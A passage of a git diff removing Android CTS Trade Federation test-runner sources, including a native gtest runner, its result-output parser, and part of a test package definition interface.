-        } else {
-            throw new IllegalStateException("dEQP runner was created with illegal name");
-        }
-    }
-
-    /**
-     * Check GL support (based on package name)
-     */
-    private boolean isSupportedGles() throws DeviceNotAvailableException {
-        return isSupportedGles(mDevice, getGlesMajorVersion(), getGlesMinorVersion());
-    }
-
-    /**
-     * Get GL major version (based on package name)
-     */
-    private int getGlesMajorVersion() throws DeviceNotAvailableException {
-        if ("dEQP-GLES2".equals(mName)) {
-            return 2;
-        } else if ("dEQP-GLES3".equals(mName)) {
-            return 3;
-        } else if ("dEQP-GLES31".equals(mName)) {
-            return 3;
-        } else {
-            throw new IllegalStateException("getGlesMajorVersion called for non gles pkg");
-        }
-    }
-
-    /**
-     * Get GL minor version (based on package name)
-     */
-    private int getGlesMinorVersion() throws DeviceNotAvailableException {
-        if ("dEQP-GLES2".equals(mName)) {
-            return 0;
-        } else if ("dEQP-GLES3".equals(mName)) {
-            return 0;
-        } else if ("dEQP-GLES31".equals(mName)) {
-            return 1;
-        } else {
-            throw new IllegalStateException("getGlesMinorVersion called for non gles pkg");
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        final Map<String, String> emptyMap = Collections.emptyMap();
-        final boolean isSupportedApi = !isOpenGlEsPackage() || isSupportedGles();
-
-        listener.testRunStarted(getId(), mRemainingTests.size());
-
-        try {
-            if (isSupportedApi) {
-                // Make sure there is no pre-existing package form earlier interrupted test run.
-                uninstallTestApk();
-                installTestApk();
-
-                mInstanceListerner.setSink(listener);
-                mDeviceRecovery.setDevice(mDevice);
-                runTests();
-
-                uninstallTestApk();
-            } else {
-                // Pass all tests if OpenGL ES version is not supported
-                CLog.i("Package %s not supported by the device. Tests trivially pass.", mPackageName);
-                fakePassTests(listener);
-            }
-        } catch (CapabilityQueryFailureException ex) {
-            // Platform is not behaving correctly, for example crashing when trying to create
-            // a window. Instead of silenty failing, signal failure by leaving the rest of the
-            // test cases in "NotExecuted" state
-            uninstallTestApk();
-        }
-
-        listener.testRunEnded(0, emptyMap);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/GeeTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/GeeTest.java
deleted file mode 100644
index f11c76d..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/GeeTest.java
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.testrunner.ITestRunListener;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test runner for native gTests.
- *
- * TODO: This is similar to Tradefed's existing GTest, but it doesn't confirm
- *       each directory segment exists using ddmlib's file service. This was
- *       a problem since /data is not visible on a user build, but it is
- *       executable. It's also a lot more verbose when it comes to errors.
- */
-public class GeeTest implements IBuildReceiver, IDeviceTest, IRemoteTest {
-
-    private static final String NATIVE_TESTS_DIRECTORY = "/data/local/tmp/cts-native-tests";
-    private static final String NATIVE_TESTS_DIRECTORY_TMP = "/data/local/tmp";
-    private static final String ANDROID_PATH_SEPARATOR = "/";
-    private static final String GTEST_FLAG_FILTER = "--gtest_filter=";
-
-    private int mMaxTestTimeMs = 1 * 90 * 1000;
-
-    private CtsBuildHelper mCtsBuild;
-    private ITestDevice mDevice;
-    private IAbi mAbi;
-    private String mExeName;
-
-    private final String mPackageName;
-
-    private String mPositiveFilters = "";
-    private String mNegativeFilters = "";
-
-    public GeeTest(String packageName, String exeName) {
-        mPackageName = packageName;
-        mExeName = exeName;
-    }
-
-    public void setPositiveFilters(String positiveFilters) {
-        mPositiveFilters = positiveFilters;
-    }
-
-    public void setNegativeFilters(String negativeFilters) {
-        mNegativeFilters = negativeFilters;
-    }
-
-    protected String getGTestFilters() {
-        // If both filters are empty or null return empty string.
-        if (mPositiveFilters == null && mNegativeFilters == null) {
-            return "";
-        }
-        if (mPositiveFilters.isEmpty() && mNegativeFilters.isEmpty()) {
-            return "";
-        }
-        // Build filter string.
-        StringBuilder sb = new StringBuilder();
-        sb.append(GTEST_FLAG_FILTER);
-        boolean hasPositiveFilters = false;
-        if (mPositiveFilters != null && !mPositiveFilters.isEmpty()) {
-            sb.append(mPositiveFilters);
-            hasPositiveFilters = true;
-        }
-        if (mNegativeFilters != null && ! mNegativeFilters.isEmpty()) {
-            if (hasPositiveFilters) {
-                sb.append(":");
-            }
-            sb.append("-");
-            sb.append(mNegativeFilters);
-        }
-        return sb.toString();
-    }
-
-    /**
-     * @param abi The ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-        mExeName += mAbi.getBitness();
-    }
-
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        if (installTest()) {
-            runTest(listener);
-        } else {
-            CLog.e("Failed to install native tests");
-        }
-    }
-
-    private boolean installTest() throws DeviceNotAvailableException {
-        if (!createRemoteDir(NATIVE_TESTS_DIRECTORY)) {
-            CLog.e("Could not create directory for native tests: " + NATIVE_TESTS_DIRECTORY);
-            return false;
-        }
-
-        File nativeExe = new File(mCtsBuild.getTestCasesDir(), mExeName);
-        if (!nativeExe.exists()) {
-            CLog.e("Native test not found: " + nativeExe);
-            return false;
-        }
-
-        String devicePath = NATIVE_TESTS_DIRECTORY + ANDROID_PATH_SEPARATOR + mExeName;
-        if (!mDevice.pushFile(nativeExe, devicePath)) {
-            CLog.e("Failed to push native test to device");
-            return false;
-        }
-        return true;
-    }
-
-    private boolean createRemoteDir(String remoteFilePath) throws DeviceNotAvailableException {
-        if (mDevice.doesFileExist(remoteFilePath)) {
-            return true;
-        }
-        if (!(mDevice.doesFileExist(NATIVE_TESTS_DIRECTORY_TMP))) {
-            CLog.e("Could not find the /data/local/tmp directory");
-            return false;
-        }
-
-        mDevice.executeShellCommand(String.format("mkdir %s", remoteFilePath));
-        return mDevice.doesFileExist(remoteFilePath);
-    }
-
-    void runTest(ITestRunListener listener) throws DeviceNotAvailableException {
-        String id = AbiUtils.createId(mAbi.getName(), mPackageName);
-        GeeTestResultParser resultParser = new GeeTestResultParser(id, listener);
-        resultParser.setFakePackagePrefix(mPackageName + ".");
-
-        String fullPath = NATIVE_TESTS_DIRECTORY + ANDROID_PATH_SEPARATOR + mExeName;
-        String flags = getGTestFilters();
-        CLog.v("Running gtest %s %s on %s", fullPath, flags, mDevice.getSerialNumber());
-        // force file to be executable
-        CLog.v("%s", mDevice.executeShellCommand(String.format("chmod 755 %s", fullPath)));
-
-        try {
-            mDevice.executeShellCommand(String.format("%s %s", fullPath, flags), resultParser,
-                    mMaxTestTimeMs /* maxTimeToShellOutputResponse */,
-                    0 /* retryAttempts */);
-        } catch (DeviceNotAvailableException e) {
-            resultParser.flush();
-            throw e;
-        } catch (RuntimeException e) {
-            resultParser.flush();
-            throw e;
-        }
-    }
-
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-    }
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/GeeTestResultParser.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/GeeTestResultParser.java
deleted file mode 100644
index d0ea0cf..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/GeeTestResultParser.java
+++ /dev/null
@@ -1,668 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.MultiLineReceiver;
-import com.android.ddmlib.testrunner.ITestRunListener;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.testtype.testdefs.XmlDefsTest;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * TODO: Merge change to add package prefix to tradefed's GTestResultParser.
- *       Otherwise this file should be the same as TradeFed's version.
- *
- * Parses the 'raw output mode' results of native tests using GTest that run from shell, and informs
- * a ITestRunListener of the results.
- * <p>Sample format of output expected:
- *
- * <pre>
- * [==========] Running 15 tests from 1 test case.
- * [----------] Global test environment set-up.
- * [----------] 15 tests from MessageTest
- * [ RUN      ] MessageTest.DefaultConstructor
- * [       OK ] MessageTest.DefaultConstructor (1 ms)
- * [ RUN      ] MessageTest.CopyConstructor
- * external/gtest/test/gtest-message_test.cc:67: Failure
- * Value of: 5
- * Expected: 2
- * external/gtest/test/gtest-message_test.cc:68: Failure
- * Value of: 1 == 1
- * Actual: true
- * Expected: false
- * [  FAILED  ] MessageTest.CopyConstructor (2 ms)
- *  ...
- * [ RUN      ] MessageTest.DoesNotTakeUpMuchStackSpace
- * [       OK ] MessageTest.DoesNotTakeUpMuchStackSpace (0 ms)
- * [----------] 15 tests from MessageTest (26 ms total)
- *
- * [----------] Global test environment tear-down
- * [==========] 15 tests from 1 test case ran. (26 ms total)
- * [  PASSED  ] 6 tests.
- * [  FAILED  ] 9 tests, listed below:
- * [  FAILED  ] MessageTest.CopyConstructor
- * [  FAILED  ] MessageTest.ConstructsFromCString
- * [  FAILED  ] MessageTest.StreamsCString
- * [  FAILED  ] MessageTest.StreamsNullCString
- * [  FAILED  ] MessageTest.StreamsString
- * [  FAILED  ] MessageTest.StreamsStringWithEmbeddedNUL
- * [  FAILED  ] MessageTest.StreamsNULChar
- * [  FAILED  ] MessageTest.StreamsInt
- * [  FAILED  ] MessageTest.StreamsBasicIoManip
- * 9 FAILED TESTS
- * </pre>
- *
- * <p>where the following tags are used to signal certain events:
- * <pre>
- * [==========]: the first occurrence indicates a new run started, including the number of tests
- *                  to be expected in this run
- * [ RUN      ]: indicates a new test has started to run; a series of zero or more lines may
- *                  follow a test start, and will be captured in case of a test failure or error
- * [       OK ]: the preceding test has completed successfully, optionally including the time it
- *                  took to run (in ms)
- * [  FAILED  ]: the preceding test has failed, optionally including the time it took to run (in ms)
- * [==========]: the preceding test run has completed, optionally including the time it took to run
- *                  (in ms)
- * </pre>
- *
- * All other lines are ignored.
- */
-public class GeeTestResultParser extends MultiLineReceiver {
-    private static final String LOG_TAG = "GTestResultParser";
-
-    // Variables to keep track of state
-    private TestResult mCurrentTestResult = null;
-    private int mNumTestsRun = 0;
-    private int mNumTestsExpected = 0;
-    private long mTotalRunTime = 0;
-    private boolean mTestInProgress = false;
-    private boolean mTestRunInProgress = false;
-    private final String mTestRunId;
-    private final Collection<ITestRunListener> mTestListeners;
-
-    /** Fake adding a package prefix if the test listener needs it. */
-    private String mFakePackagePrefix = "";
-
-    /** True if start of test has already been reported to listener. */
-    private boolean mTestRunStartReported = false;
-
-    /** True if current test run has been canceled by user. */
-    private boolean mIsCancelled = false;
-
-    private String mCoverageTarget = null;
-
-    /**
-     * Test result data
-     */
-    private static class TestResult {
-        private String mTestName = null;
-        private String mTestClass = null;
-        private StringBuilder mStackTrace = null;
-        @SuppressWarnings("unused")
-        private Long mRunTime = null;
-
-        /** Returns whether expected values have been parsed
-         *
-         * @return true if all expected values have been parsed
-         */
-        boolean isComplete() {
-            return mTestName != null && mTestClass != null;
-        }
-
-        /** Returns whether there is currently a stack trace
-         *
-         * @return true if there is currently a stack trace, false otherwise
-         */
-        boolean hasStackTrace() {
-            return mStackTrace != null;
-        }
-
-        /**
-         * Returns the stack trace of the current test.
-         *
-         * @return a String representation of the current test's stack trace; if there is not
-         * a current stack trace, it returns an error string. Use {@link TestResult#hasStackTrace}
-         * if you need to know whether there is a stack trace.
-         */
-        String getTrace() {
-            if (hasStackTrace()) {
-                return mStackTrace.toString();
-            } else {
-                Log.e(LOG_TAG, "Could not find stack trace for failed test");
-                return new Throwable("Unknown failure").toString();
-            }
-        }
-
-        /** Provides a more user readable string for TestResult, if possible */
-        @Override
-        public String toString() {
-            StringBuilder output = new StringBuilder();
-            if (mTestClass != null ) {
-                output.append(mTestClass);
-                output.append('#');
-            }
-            if (mTestName != null) {
-                output.append(mTestName);
-            }
-            if (output.length() > 0) {
-                return output.toString();
-            }
-            return "unknown result";
-        }
-    }
-
-    /** Internal helper struct to store parsed test info. */
-    private static class ParsedTestInfo {
-        String mTestName = null;
-        String mTestClassName = null;
-        String mTestRunTime = null;
-
-        public ParsedTestInfo(String testName, String testClassName, String testRunTime) {
-            mTestName = testName;
-            mTestClassName = testClassName;
-            mTestRunTime = testRunTime;
-        }
-    }
-
-    /** Prefixes used to demarcate and identify output. */
-    private static class Prefixes {
-        @SuppressWarnings("unused")
-        private static final String INFORMATIONAL_MARKER = "[----------]";
-        private static final String START_TEST_RUN_MARKER = "[==========] Running";
-        private static final String TEST_RUN_MARKER = "[==========]";
-        private static final String START_TEST_MARKER = "[ RUN      ]";
-        private static final String OK_TEST_MARKER = "[       OK ]";
-        private static final String FAILED_TEST_MARKER = "[  FAILED  ]";
-    }
-
-    /**
-     * Creates the GTestResultParser.
-     *
-     * @param testRunId the test run id to provide to
-     *            {@link ITestRunListener#testRunStarted(String, int)}
-     * @param listeners informed of test results as the tests are executing
-     */
-    public GeeTestResultParser(String testRunId, Collection<ITestRunListener> listeners) {
-        mTestRunId = testRunId;
-        mTestListeners = new ArrayList<ITestRunListener>(listeners);
-    }
-
-    /**
-     * Creates the GTestResultParser for a single listener.
-     *
-     * @param testRunId the test run id to provide to
-     *            {@link ITestRunListener#testRunStarted(String, int)}
-     * @param listener informed of test results as the tests are executing
-     */
-    public GeeTestResultParser(String testRunId, ITestRunListener listener) {
-        mTestRunId = testRunId;
-        mTestListeners = new ArrayList<ITestRunListener>(1);
-        mTestListeners.add(listener);
-    }
-
-    /**
-     * Package prefix to be added to test names when they are reported like
-     * "android.nativemedia." You may need to add the dot if you need it.
-     */
-    public void setFakePackagePrefix(String prefix) {
-        mFakePackagePrefix = prefix;
-    }
-
-    /**
-     * Returns the current TestResult for test in progress, or a new default one.
-     *
-     * @return The TestResult for the current test run
-     */
-    private TestResult getCurrentTestResult() {
-        if (mCurrentTestResult == null) {
-            mCurrentTestResult = new TestResult();
-        }
-        return mCurrentTestResult;
-    }
-
-
-    /**
-     * Clears out the current TestResult.
-     */
-    private void clearCurrentTestResult() {
-        mCurrentTestResult = null;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void processNewLines(String[] lines) {
-        for (String line : lines) {
-            parse(line);
-        }
-    }
-
-    /**
-     * Parse an individual output line.
-     *
-     * @param line  Text output line
-     */
-    private void parse(String line) {
-        String message = null;
-
-        if (mTestRunInProgress || line.startsWith(Prefixes.TEST_RUN_MARKER)) {
-            if (line.startsWith(Prefixes.START_TEST_MARKER)) {
-                // Individual test started
-                message = line.substring(Prefixes.START_TEST_MARKER.length()).trim();
-                processTestStartedTag(message);
-            }
-            else if (line.startsWith(Prefixes.OK_TEST_MARKER)) {
-                // Individual test completed successfully
-                message = line.substring(Prefixes.OK_TEST_MARKER.length()).trim();
-                processOKTag(message);
-                clearCurrentTestResult();
-            }
-            else if (line.startsWith(Prefixes.FAILED_TEST_MARKER)) {
-                // Individual test completed with failure
-                message = line.substring(Prefixes.FAILED_TEST_MARKER.length()).trim();
-                processFailedTag(message);
-                clearCurrentTestResult();
-            }
-            else if (line.startsWith(Prefixes.START_TEST_RUN_MARKER)) {
-                // Test run started
-                // Make sure to leave the "Running" in the string
-                message = line.substring(Prefixes.TEST_RUN_MARKER.length()).trim();
-                processRunStartedTag(message);
-            }
-            else if (line.startsWith(Prefixes.TEST_RUN_MARKER)) {
-                // Test run ended
-                // This is for the end of the test suite run, so make sure this else-if is after the
-                // check for START_TEST_SUITE_MARKER
-                message = line.substring(Prefixes.TEST_RUN_MARKER.length()).trim();
-                processRunCompletedTag(message);
-            }
-            else if (testInProgress()) {
-                // Note this does not handle the case of an error outside an actual test run
-                appendTestOutputLine(line);
-            }
-        }
-    }
-
-    /**
-     * Returns true if test run canceled.
-     *
-     * @see IShellOutputReceiver#isCancelled()
-     */
-    @Override
-    public boolean isCancelled() {
-        return mIsCancelled;
-    }
-
-    /**
-     * Requests cancellation of test run.
-     */
-    public void cancel() {
-        mIsCancelled = true;
-    }
-
-    /**
-     * Returns whether we're in the middle of running a test.
-     *
-     * @return True if a test was started, false otherwise
-     */
-    private boolean testInProgress() {
-        return mTestInProgress;
-    }
-
-    /**
-     * Set state to indicate we've started running a test.
-     *
-     */
-    private void setTestStarted() {
-        mTestInProgress = true;
-    }
-
-    /**
-     * Set state to indicate we've started running a test.
-     *
-     */
-    private void setTestEnded() {
-        mTestInProgress = false;
-    }
-
-    /**
-     * Reports the start of a test run, and the total test count, if it has not been previously
-     * reported.
-     */
-    private void reportTestRunStarted() {
-        // if start test run not reported yet
-        if (!mTestRunStartReported) {
-            for (ITestRunListener listener : mTestListeners) {
-                listener.testRunStarted(mTestRunId, mNumTestsExpected);
-            }
-            mTestRunStartReported = true;
-        }
-    }
-
-    /**
-     * Reports the end of a test run, and resets that test
-     */
-    private void reportTestRunEnded() {
-        for (ITestRunListener listener : mTestListeners) {
-            listener.testRunEnded(mTotalRunTime, getRunMetrics());
-        }
-        mTestRunStartReported = false;
-    }
-
-    /**
-     * Create the run metrics {@link Map} to report.
-     *
-     * @return a {@link Map} of run metrics data
-     */
-    private Map<String, String> getRunMetrics() {
-        Map<String, String> metricsMap = new HashMap<String, String>();
-        if (mCoverageTarget != null) {
-            metricsMap.put(XmlDefsTest.COVERAGE_TARGET_KEY, mCoverageTarget);
-        }
-        return metricsMap;
-    }
-
-    /**
-     * Parse the test identifier (class and test name), and optional time info.
-     *
-     * @param identifier Raw identifier of the form classname.testname, with an optional time
-     *          element in the format of (XX ms) at the end
-     * @return A ParsedTestInfo representing the parsed info from the identifier string.
-     *
-     *          If no time tag was detected, then the third element in the array (time_in_ms) will
-     *          be null. If the line failed to parse properly (eg: could not determine name of
-     *          test/class) then an "UNKNOWN" string value will be returned for the classname and
-     *          testname. This method guarantees a string will always be returned for the class and
-     *          test names (but not for the time value).
-     */
-    private ParsedTestInfo parseTestIdentifier(String identifier) {
-        ParsedTestInfo returnInfo = new ParsedTestInfo("UNKNOWN_CLASS", "UNKNOWN_TEST", null);
-
-        Pattern timePattern = Pattern.compile(".*(\\((\\d+) ms\\))");  // eg: (XX ms)
-        Matcher time = timePattern.matcher(identifier);
-
-        // Try to find a time
-        if (time.find()) {
-            String timeString = time.group(2);  // the "XX" in "(XX ms)"
-            String discardPortion = time.group(1);  // everything after the test class/name
-            identifier = identifier.substring(0, identifier.lastIndexOf(discardPortion)).trim();
-            returnInfo.mTestRunTime = timeString;
-        }
-
-        String[] testId = identifier.split("\\.");
-        if (testId.length < 2) {
-            Log.e(LOG_TAG, "Could not detect the test class and test name, received: " +
-                    identifier);
-        }
-        else {
-            returnInfo.mTestClassName = testId[0];
-            returnInfo.mTestName = testId[1];
-        }
-        return returnInfo;
-    }
-
-    /**
-     * Parses and stores the test identifier (class and test name).
-     *
-     * @param identifier Raw identifier
-     */
-    private void processRunStartedTag(String identifier) {
-        // eg: (Running XX tests from 1 test case.)
-        Pattern numTestsPattern = Pattern.compile("Running (\\d+) test[s]? from .*");
-        Matcher numTests = numTestsPattern.matcher(identifier);
-
-        // Try to find number of tests
-        if (numTests.find()) {
-            try {
-                mNumTestsExpected = Integer.parseInt(numTests.group(1));
-            }
-            catch (NumberFormatException e) {
-                Log.e(LOG_TAG, "Unable to determine number of tests expected, received: " +
-                        numTests.group(1));
-            }
-        }
-        if (mNumTestsExpected > 0) {
-          reportTestRunStarted();
-          mNumTestsRun = 0;
-          mTestRunInProgress = true;
-        }
-    }
-
-    /**
-     * Processes and informs listener when we encounter a tag indicating that a test suite is done.
-     *
-     * @param identifier Raw log output from the suite ended tag
-     */
-    private void processRunCompletedTag(String identifier) {
-        Pattern timePattern = Pattern.compile(".*\\((\\d+) ms total\\)");  // eg: (XX ms total)
-        Matcher time = timePattern.matcher(identifier);
-
-        // Try to find the total run time
-        if (time.find()) {
-            try {
-                mTotalRunTime = Long.parseLong(time.group(1));
-            }
-            catch (NumberFormatException e) {
-                Log.e(LOG_TAG, "Unable to determine the total running time, received: " +
-                        time.group(1));
-            }
-        }
-        reportTestRunEnded();
-        mTestRunInProgress = false;
-    }
-
-    /**
-     * Processes and informs listener when we encounter a tag indicating that a test has started.
-     *
-     * @param identifier Raw log output of the form classname.testname, with an optional time (x ms)
-     */
-    private void processTestStartedTag(String identifier) {
-        ParsedTestInfo parsedResults = parseTestIdentifier(identifier);
-        TestResult testResult = getCurrentTestResult();
-        testResult.mTestClass = parsedResults.mTestClassName;
-        testResult.mTestName = parsedResults.mTestName;
-
-        TestIdentifier testId = new TestIdentifier(mFakePackagePrefix + testResult.mTestClass,
-                testResult.mTestName);
-
-        for (ITestRunListener listener : mTestListeners) {
-            listener.testStarted(testId);
-        }
-        setTestStarted();
-    }
-
-    /**
-     * Helper method to do the work necessary when a test has ended.
-     *
-     * @param identifier Raw log output of the form "classname.testname" with an optional (XX ms)
-     *          at the end indicating the running time.
-     * @param testPassed Indicates whether the test passed or failed (set to true if passed, false
-     *          if failed)
-     */
-    private void doTestEnded(String identifier, boolean testPassed) {
-        ParsedTestInfo parsedResults = parseTestIdentifier(identifier);
-        TestResult testResult = getCurrentTestResult();
-        TestIdentifier testId = new TestIdentifier(mFakePackagePrefix + testResult.mTestClass,
-                testResult.mTestName);
-
-        // Error - trying to end a test when one isn't in progress
-        if (!testInProgress()) {
-            Log.e(LOG_TAG, "Test currently not in progress when trying to end test: " + identifier);
-            return;
-        }
-
-        // Save the run time for this test if one exists
-        if (parsedResults.mTestRunTime != null) {
-            try {
-                testResult.mRunTime = new Long(parsedResults.mTestRunTime);
-            }
-            catch (NumberFormatException e) {
-                Log.e(LOG_TAG, "Test run time value is invalid, received: " +
-                        parsedResults.mTestRunTime);
-            }
-        }
-
-        // Check that the test result is for the same test/class we're expecting it to be for
-        boolean encounteredUnexpectedTest = false;
-        if (!testResult.isComplete()) {
-            Log.e(LOG_TAG, "No test/class name is currently recorded as running!");
-        }
-        else {
-            if (testResult.mTestClass.compareTo(parsedResults.mTestClassName) != 0) {
-                Log.e(LOG_TAG, "Name for current test class does not match class we started " +
-                        "with, expected: " + testResult.mTestClass + " but got: " +
-                        parsedResults.mTestClassName);
-                encounteredUnexpectedTest = true;
-            }
-            if (testResult.mTestName.compareTo(parsedResults.mTestName) != 0) {
-                Log.e(LOG_TAG, "Name for current test does not match test we started with," +
-                        "expected: " + testResult.mTestName + " bug got: " +
-                        parsedResults.mTestName);
-                encounteredUnexpectedTest = true;
-            }
-        }
-
-        if (encounteredUnexpectedTest) {
-            // If the test name of the result changed from what we started with, report that
-            // the last known test failed, regardless of whether we received a pass or fail tag.
-            for (ITestRunListener listener : mTestListeners) {
-                listener.testFailed(testId, mCurrentTestResult.getTrace());
-            }
-        }
-        else if (!testPassed) {  // test failed
-            for (ITestRunListener listener : mTestListeners) {
-                listener.testFailed(testId, mCurrentTestResult.getTrace());
-            }
-        }
-        // For all cases (pass or fail), we ultimately need to report test has ended
-        Map <String, String> emptyMap = Collections.emptyMap();
-        for (ITestRunListener listener : mTestListeners) {
-            // @TODO: Add reporting of test run time to ITestRunListener
-            listener.testEnded(testId, emptyMap);
-        }
-
-        setTestEnded();
-        ++mNumTestsRun;
-    }
-
-    /**
-     * Processes and informs listener when we encounter the OK tag.
-     *
-     * @param identifier Raw log output of the form "classname.testname" with an optional (XX ms)
-     *          at the end indicating the running time.
-     */
-    private void processOKTag(String identifier) {
-        doTestEnded(identifier, true);
-    }
-
-    /**
-     * Processes and informs listener when we encounter the FAILED tag.
-     *
-     * @param identifier Raw log output of the form "classname.testname" with an optional (XX ms)
-     *          at the end indicating the running time.
-     */
-    private void processFailedTag(String identifier) {
-        doTestEnded(identifier, false);
-    }
-
-    /**
-     * Appends the test output to the current TestResult.
-     *
-     * @param line Raw test result line of output.
-     */
-    private void appendTestOutputLine(String line) {
-        TestResult testResult = getCurrentTestResult();
-        if (testResult.mStackTrace == null) {
-            testResult.mStackTrace = new StringBuilder();
-        }
-        else {
-            testResult.mStackTrace.append("\r\n");
-        }
-        testResult.mStackTrace.append(line);
-    }
-
-    /**
-     * Process an instrumentation run failure
-     *
-     * @param errorMsg The message to output about the nature of the error
-     */
-    private void handleTestRunFailed(String errorMsg) {
-        errorMsg = (errorMsg == null ? "Unknown error" : errorMsg);
-        Log.i(LOG_TAG, String.format("Test run failed: %s", errorMsg));
-        String testRunStackTrace = "";
-
-        // Report that the last known test failed
-        if ((mCurrentTestResult != null) && (mCurrentTestResult.isComplete())) {
-            // current test results are cleared out after every complete test run,
-            // if it's not null, assume the last test caused this and report as a test failure
-            TestIdentifier testId = new TestIdentifier(mCurrentTestResult.mTestClass,
-                    mCurrentTestResult.mTestName);
-
-            // If there was any stack trace during the test run, append it to the "test failed"
-            // error message so we have an idea of what caused the crash/failure.
-            Map<String, String> emptyMap = Collections.emptyMap();
-            if (mCurrentTestResult.hasStackTrace()) {
-                testRunStackTrace = mCurrentTestResult.getTrace();
-            }
-            for (ITestRunListener listener : mTestListeners) {
-                listener.testFailed(testId, "No test results.\r\n" + testRunStackTrace);
-                listener.testEnded(testId, emptyMap);
-            }
-            clearCurrentTestResult();
-        }
-        // Report the test run failed
-        for (ITestRunListener listener : mTestListeners) {
-            listener.testRunFailed(errorMsg);
-            listener.testRunEnded(mTotalRunTime, getRunMetrics());
-        }
-    }
-
-    /**
-     * Called by parent when adb session is complete.
-     */
-    @Override
-    public void done() {
-        super.done();
-        if (mNumTestsExpected > mNumTestsRun) {
-            handleTestRunFailed(String.format("Test run incomplete. Expected %d tests, received %d",
-                    mNumTestsExpected, mNumTestsRun));
-        }
-        else if (mTestRunInProgress) {
-            handleTestRunFailed("No test results");
-        }
-    }
-
-    /**
-     * Sets the coverage target for this test.
-     * <p/>
-     * Will be sent as a metric to test listeners.
-     *
-     * @param coverageTarget the coverage target
-     */
-    public void setCoverageTarget(String coverageTarget) {
-        mCoverageTarget = coverageTarget;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPackageDef.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPackageDef.java
deleted file mode 100644
index 13f3572..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPackageDef.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IRemoteTest;
-
-import java.io.File;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * Container for CTS test info.
- * <p/>
- * Knows how to translate this info into a runnable {@link IRemoteTest}.
- */
-public interface ITestPackageDef extends Comparable<ITestPackageDef> {
-
-    /**
-     * Get the id of the test package.
-     * @return the {@link String} id
-     */
-    public String getId();
-
-    /**
-     * Creates a runnable {@link IRemoteTest} from info stored in this definition.
-     *
-     * @param testCaseDir {@link File} representing directory of test case data
-     * @return a {@link IRemoteTest} with all necessary data populated to run the test or
-     *         <code>null</code> if test could not be created
-     */
-    public IRemoteTest createTest(File testCaseDir);
-
-    /**
-     * Get the collection of tests in this test package.
-     */
-    public Collection<TestIdentifier> getTests();
-
-    /**
-     * Return the sha1sum of the binary file for this test package.
-     * <p/>
-     * Will only return a valid value after {@link #createTest(File)} has been called.
-     *
-     * @return the sha1sum in {@link String} form
-     */
-    public String getDigest();
-
-    /**
-     * @return the name of this test package.
-     */
-    public String getName();
-
-    /**
-     * @return the ABI of this test package.
-     */
-    public IAbi getAbi();
-
-    /**
